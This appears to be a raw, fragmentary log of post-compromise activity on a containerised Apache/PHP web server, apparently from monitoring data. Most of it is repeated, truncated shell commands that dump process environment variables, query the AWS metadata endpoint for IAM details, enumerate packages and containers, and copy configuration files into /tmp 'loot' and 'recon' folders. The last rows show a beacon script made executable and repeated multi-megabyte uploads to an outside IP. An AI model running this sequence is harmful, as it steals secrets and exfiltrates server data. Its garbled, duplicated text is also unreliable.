"\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; timeout 40 sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 ec ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; timeout 40 sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgro ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; timeout 40 sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; timeout 40 sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sort -nr ; head -500 ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; head -200 ; sort -nr ; mkdir -p /tmp/<REDACTED>-443/configs ; find /home -type f -size -256k ; head -80 ; head -80 ; find /usr/local/etc/php -type f -size -256k ; find /etc/apache2 -type f -size -256k ; head -80 ; head -400 ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; cp -p /etc/apache2/apache2.conf /tmp/<REDACTED>-443/configs/0001__etc__apache2__apache2.conf ; sort -u /tmp/<REDACTED>-443/.candidates ; grep -qx 543c6ce7776d222a16c598d1d1108d2de9be5a812f832a35dcaa0bc50369341b ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/charset.conf /tmp/<REDACTED>-443/configs/0002__etc__apache2__conf-available__charset.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx c2c23f0d22e8003ff9fbc30affa176dc2cb76112ead31492464fcb51fd3c48d4 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 96e05361253da0d9be1ec6c7c9003cbbb261ba65b659bd6e40ca0eac43093c43 ; cp -p /etc/apache2/conf-available/docker-php.conf /tmp/<REDACTED>-443/configs/0003__etc__apache2__conf-available__docker-php.conf ; grep -qx b58e5cc37210940c8d08439feeefd17c0b7cf641bbadb04cd568b7324aa1840c ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/localized-error-pages.conf /tmp/<REDACTED>-443/configs/0004__etc__apache2__conf-available__localized-error-pages.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx af15ee8478cfbd00ae1fa5091ea5f19cce29a1ce60e567579c7c3b020b332335 ; cp -p /etc/apache2/conf-available/other-vhosts-access-log.conf /tmp/<REDACTED>-443/configs/0005__etc__apache2__conf-available__other-vhosts-access-log.conf ; grep -qx 86ce9176a02f929ef4abeecaf4bd841ffa92c5aba96a3a7206d48d086d746a30 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 589e1ff2671b578ee97ea0e322a9d5337aef755dfc6868cf15d3dfad944081ce ; cp -p /etc/apache2/magic /tmp/<REDACTED>-443/configs/0009__etc__apache2__magic ; cp -p /etc/apache2/envvars /tmp/<REDACTED>-443/configs/0008__etc__apache2__envvars ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/security.conf /tmp/<REDACTED>-443/configs/0006__etc__apache2__conf-available__security.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx f3c96a2ec95fbb3371f2c18d77366fc09b07267a156beb4870943f3f029eb3f2 ; cp -p /etc/apache2/conf-available/serve-cgi-bin.conf /tmp/<REDACTED>-443/configs/0007__etc__apache2__conf-available__serve-cgi-bin.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 86296f2324bcc27790a80c863886fffd10d7a48b28587151e541f38136055b8b ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx c7beb28538dbcb96cd5ffa98d7b4c10b494cac4575e081ec43ea82a8dd4c2e5d ; cp -p /etc/apache2/mods-available/access_compat.load /tmp/<REDACTED>-443/configs/0010__etc__apache2__mods-available__access_compat.load ; grep -qx c8ffcdbca84fa3e9ca0aaead34c8d091ced52b23e8bd01d20713c859b1bfc5a7 ; cp -p /etc/apache2/mods-available/actions.conf /tmp/<REDACTED>-443/configs/0011__etc__apache2__mods-available__actions.conf ; grep -qx a4b933cd058939054d42b578098ae0e6be639dc997aaf302420e16c5c860ce8a ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/auth_basic.load /tmp/<REDACTED>-443/configs/0012__etc__apache2__mods-available__auth_basic.load ; grep -qx 0b16917087731932bba3a0f0d0b39c6f1cacfe1d41991d902ebebb5ec6dee7db ; grep -qx 7010d97d6634dc3ead34626ec521dafd4788022fcc8884dcc0f487f7b911cb53 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/auth_digest.load /tmp/<REDACTED>-443/configs/0013__etc__apache2__mods-available__auth_digest.load ; cp -p /etc/apache2/mods-available/auth_form.load /tmp/<REDACTED>-443/configs/0014__etc__apache2__mods-available__auth_form.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx e448b675683da32700029e6f68314de99b446101e07049707dd090e6eaef7293 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/authn_dbd.load /tmp/<REDACTED>-443/configs/0015__etc__apache2__mods-available__authn_dbd.load ; grep -qx 02d4948b34c8eb9e8fd73e3cda48c95fb27046130b796700a365285ba79c9796 ; cp -p /etc/apache2/mods-available/authn_dbm.load /tmp/<REDACTED>-443/configs/0016__etc__apache2__mods-available__authn_dbm.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 409c8e2972b8fb0aac7560cbef73787a9a0559c92d453024caab13ae3b25f19c ; cp -p /etc/apache2/mods-available/authnz_fcgi.load /tmp/<REDACTED>-443/configs/0017__etc__apache2__mods-available__authnz_fcgi.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx e911902e340d361e1f71465faeb9d2a5e3fb7fd88505b1c34f1caec4c5fd8017 ; cp -p /etc/apache2/mods-available/authnz_ldap.load /tmp/<REDACTED>-443/configs/0018__etc__apache2__mods-available__authnz_ldap.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 7bca4c36d5b7b318f79593a99fe32322a19afa8a7142295fcaad27ff96a474c5 ; cp -p /etc/apache2/mods-available/authz_core.load /tmp/<REDACTED>-443/configs/0019__etc__apache2__mods-available__authz_core.load ; cp -p /etc/apache2/mods-available/authz_dbm.load /tmp/<REDACTED>-443/configs/0021__etc__apache2__mods-available__authz_dbm.load ; grep -qx d219d39b2a55db76bfd8c14ecdfe06ea40a6bbc71df2ff1a541c873384438e3e ; cp -p /etc/apache2/mods-available/authz_user.load /tmp/<REDACTED>-443/configs/0022__etc__apache2__mods-available__authz_user.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx da5f215f80664214136546a3d596fc0b2e5087c8bf0eb0262658ffe892d1a8dd ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 462af26b41a9459eb89fa52a4680cf6f782ab1ac390e0d40ffa979283ac43ce7 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/brotli.load /tmp/<REDACTED>-443/configs/0023__etc__apache2__mods-available__brotli.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 481ce792fe95bbd71acf1879fa5859e8b6025b20bdea736e01a137b94b65761b ; cp -p /etc/apache2/mods-available/cache_socache.load /tmp/<REDACTED>-443/configs/0024__etc__apache2__mods-available__cache_socache.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/authz_dbd.load /tmp/<REDACTED>-443/configs/0020__etc__apache2__mods-available__authz_dbd.load ; grep -qx 320727f6cd3f45f66b0d5614a45dd481f470f1139ee5a00f440c7e353690a15f ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 7d47ebb6d5a15a3f76c657c726dbbfbe65d36412c8d3a3785b9e20241c50284e ; cp -p /etc/apache2/mods-available/cern_meta.load /tmp/<REDACTED>-443/configs/0025__etc__apache2__mods-available__cern_meta.load ; grep -qx b1f194962c61227b8b94dad037b69b116ea9c782586e96df8cc1d338ec657e6f ; cp -p /etc/apache2/mods-available/dav_fs.load /tmp/<REDACTED>-443/configs/0028__etc__apache2__mods-available__dav_fs.load ; grep -qx 8232d9a40d516b1e8e3856ab13f6f502ac7639929b61692b68972f9f0f7dfeec ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/dav_lock.load /tmp/<REDACTED>-443/configs/0029__etc__apache2__mods-available__dav_lock.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 8eb6af17232f8bdc72f702a1f554813edc418d17c1b9c60879bf95c3f2c8a397 ; cp -p /etc/apache2/mods-available/cgid.load /tmp/<REDACTED>-443/configs/0026__etc__apache2__mods-available__cgid.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 0685a94c3eb619ff40c04223a492abac258aa1b346c81e665ac684ad1af6f768 ; cp -p /etc/apache2/mods-available/data.load /tmp/<REDACTED>-443/configs/0027__etc__apache2__mods-available__data.load ; cp -p /etc/apache2/mods-available/dbd.load /tmp/<REDACTED>-443/configs/0030__etc__apache2__mods-available__dbd.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 87210bf2b2cc8d2fc934c9537330f5ce5ccd5508ddebd002538c2e3e912cd083 ; cp -p /etc/apache2/mods-available/dialup.load /tmp/<REDACTED>-443/configs/0031__etc__apache2__mods-available__dialup.load ; grep -qx 98fc163c39b10e0dbeab9c273efe71b78f713a6997a45a10e5980aa0a972b052 ; grep -qx 4a4f78ffaced05b65e09082978ea7a050f4e7106c27fe605ee98b7b1dbae8740 ; cp -p /etc/apache2/mods-available/dir.conf /tmp/<REDACTED>-443/configs/0032__etc__apache2__mods-available__dir.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx e217b8984d3def11cfa84517c4a0f2174513a22dfbdd99afd8a1708ca5a4fd00 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/file_cache.load /tmp/<REDACTED>-443/configs/0034__etc__apache2__mods-available__file_cache.load ; grep -qx 1ec99f5ea74482ee1fbda2003453b83f81fc3a0b9a410feb40e0d29e498f8b80 ; cp -p /etc/apache2/mods-available/dir.load /tmp/<REDACTED>-443/configs/0033__etc__apache2__mods-available__dir.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 918335d6c751a285bc7ada3c0ee54106723022c7c1ef62749bcef71796bb157d ; cp -p /etc/apache2/mods-available/filter.load /tmp/<REDACTED>-443/configs/0035__etc__apache2__mods-available__filter.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 37e43a0b97d6018d342048b838ca017fd68857b4860e4a9abe9116e7f88d89d3 ; cp -p /etc/apache2/mods-available/heartbeat.load /tmp/<REDACTED>-443/configs/0036__etc__apache2__mods-available__heartbeat.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/http2.conf /tmp/<REDACTED>-443/configs/0037__etc__apache2__mods-available__http2.conf ; grep -qx 2425be9c2c9ec7d3912048c16ce2e12566db476f8603f1029ffbded51f90a185 ; grep -qx 005f784207278b74409bc550ff6664019f54b6fc04b8fccdba7686d1dfbf7bf7 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/http2.load /tmp/<REDACTED>-443/configs/0038__etc__apache2__mods-available__http2.load ; grep -qx 295f89a604fcad6517013c3dcc93e59eebf749d3bdf5de31ceac34fdf7f215a5 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/ident.load /tmp/<REDACTED>-443/configs/0039__etc__apache2__mods-available__ident.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/lbmethod_bytraffic.load /tmp/<REDACTED>-443/configs/0041__etc__apache2__mods-available__lbmethod_bytraffic.load ; grep -qx 689069cd516b390acaa81f735be03a06d00977dc772161e0ae010a465460f16e ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/lbmethod_heartbeat.load /tmp/<REDACTED>-443/configs/0042__etc__apache2__mods-available__lbmethod_heartbeat.load ; grep -qx ac98898999e9be33917fb85c2c447783fe690fb2daf35961864ce12188aba992 ; cp -p /etc/apache2/mods-available/imagemap.load /tmp/<REDACTED>-443/configs/0040__etc__apache2__mods-available__imagemap.load ; grep -qx 5c9900e6d20a67c7ecee2ae515d7d7320c2c8be61a0f460f13da03ed97ce6076 ; grep -qx aea65b1ea8d48100e7b22862c65cffad6f0835f83c1749585276c4b147e05ff4 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/log_debug.load /tmp/<REDACTED>-443/configs/0043__etc__apache2__mods-available__log_debug.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx cff0e1248eaea7619acf2d23c20677886a8e69bf849af9693d7c4eee270a7bcc ; cp -p /etc/apache2/mods-available/lua.load /tmp/<REDACTED>-443/configs/0044__etc__apache2__mods-available__lua.load ; grep -qx 3b5b341da5c398db85696dbac30eba03eb70a9a40c1a694c9e901767735ae2cf ; cp -p /etc/apache2/mods-available/mpm_event.conf /tmp/<REDACTED>-443/configs/0046__etc__apache2__mods-available__mpm_event.conf ; cp -p /etc/apache2/mods-available/mpm_prefork.conf /tmp/<REDACTED>-443/configs/0047__etc__apache2__mods-available__mpm_prefork.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 827c3be42b423720a5d414fec0cd6c0cfc0055c0e90c0511829b5b423538e831 ; cp -p /etc/apache2/mods-available/mpm_prefork.load /tmp/<REDACTED>-443/configs/0048__etc__apache2__mods-available__mpm_prefork.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx fc06b0badf68c82dd897441b0e39c457f3be49583f0401731bc5c9ae547b9495 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/md.load /tmp/<REDACTED>-443/configs/0045__etc__apache2__mods-available__md.load ; grep -qx 23a180df0d1290a3068347145570eaa54bf8cb598181482e50a07a12d3edf516 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 48ba3d685171bbb591a5ca9210eac338369d21923a327ac211ad76955838a440 ; cp -p /etc/apache2/mods-available/mpm_worker.load /tmp/<REDACTED>-443/configs/0049__etc__apache2__mods-available__mpm_worker.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 3041b28664a6b7dee9e93adaf09e0d6cbbfd29016f6a634fcfa0429cba39d7be ; cp -p /etc/apache2/mods-available/negotiation.conf /tmp/<REDACTED>-443/configs/0050__etc__apache2__mods-available__negotiation.conf ; grep -qx b549a5a8522d61b72ae6e7920cafc3680b4a25dc9a5d32485ac88c2a23726fd0 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/proxy.conf /tmp/<REDACTED>-443/configs/0051__etc__apache2__mods-available__proxy.conf ; grep -qx 34910d52f754e74f2ff322705efd9654cc2da2213ba9350c58f5d3320c3daedc ; cp -p /etc/apache2/mods-available/proxy_balancer.load /tmp/<REDACTED>-443/configs/0052__etc__apache2__mods-available__proxy_balancer.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx d53f95046d13ba64721db191dfff2f4f38b8c6991bc7c1c18f91b9220efe8ad9 ; cp -p /etc/apache2/mods-available/proxy_hcheck.load /tmp/<REDACTED>-443/configs/0053__etc__apache2__mods-available__proxy_hcheck.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/proxy_http.load /tmp/<REDACTED>-443/configs/0054__etc__apache2__mods-available__proxy_http.load ; grep -qx 70fbaff68260414cdbe00a0fb095cd7587cb29cd6505d8ba0f0bd46b1e4474b5 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx ad64eb2df8f08174ba262f66c8f2d6e803eb01510da520224ea9be19201e6882 ; cp -p /etc/apache2/mods-available/proxy_http2.load /tmp/<REDACTED>-443/configs/0055__etc__apache2__mods-available__proxy_http2.load ; grep -qx 16cae27f01a217b73b11b63540313c470b5832dc98506eaa4743d4a952380748 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/proxy_uwsgi.load /tmp/<REDACTED>-443/configs/0056__etc__apache2__mods-available__proxy_uwsgi.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx f0aacb7263f7dcd72d2c211248fa126f78bd7fa06a8c055ec7131808e1ecaaf4 ; cp -p /etc/apache2/mods-available/proxy_wstunnel.load /tmp/<REDACTED>-443/configs/0057__etc__apache2__mods-available__proxy_wstunnel.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx b5890fe1d69490e525cabacc11b3ce2b2d30650e27abdbc1dea5bfff11b28f86 ; cp -p /etc/apache2/mods-available/ratelimit.load /tmp/<REDACTED>-443/configs/0058__etc__apache2__mods-available__ratelimit.load
2026-10-29 19:58:50185.65.134.250185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -f /tmp/beacon.sh
2026-10-29 19:58:50185.65.134.250185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashchmod +x /tmp/beacon.sh
2026-10-29 20:03:05185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashid
2026-10-29 20:03:05185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashid
2026-10-29 20:03:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /.dockerenv
2026-10-29 20:03:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /etc/os-release
2026-10-29 20:03:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashuname -a
2026-10-29 20:03:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /var/www
2026-10-29 20:03:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /var/www/html
2026-10-29 20:03:21185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /var/www/html/includes
2026-10-29 20:03:21185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /usr/sbin/sshd
2026-10-29 20:03:27185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /etc/ssh
2026-10-29 20:03:27185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /var/run/docker.sock /run/secrets
2026-10-29 20:03:27185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp /tmp/service-documents
2026-10-29 20:03:27185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /proc/net/tcp
